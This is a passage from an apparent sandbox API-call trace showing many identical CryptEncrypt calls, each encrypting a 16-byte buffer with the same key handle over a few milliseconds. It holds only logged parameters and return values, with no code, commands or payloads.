pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.807] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.808] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.809] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.810] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.811] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 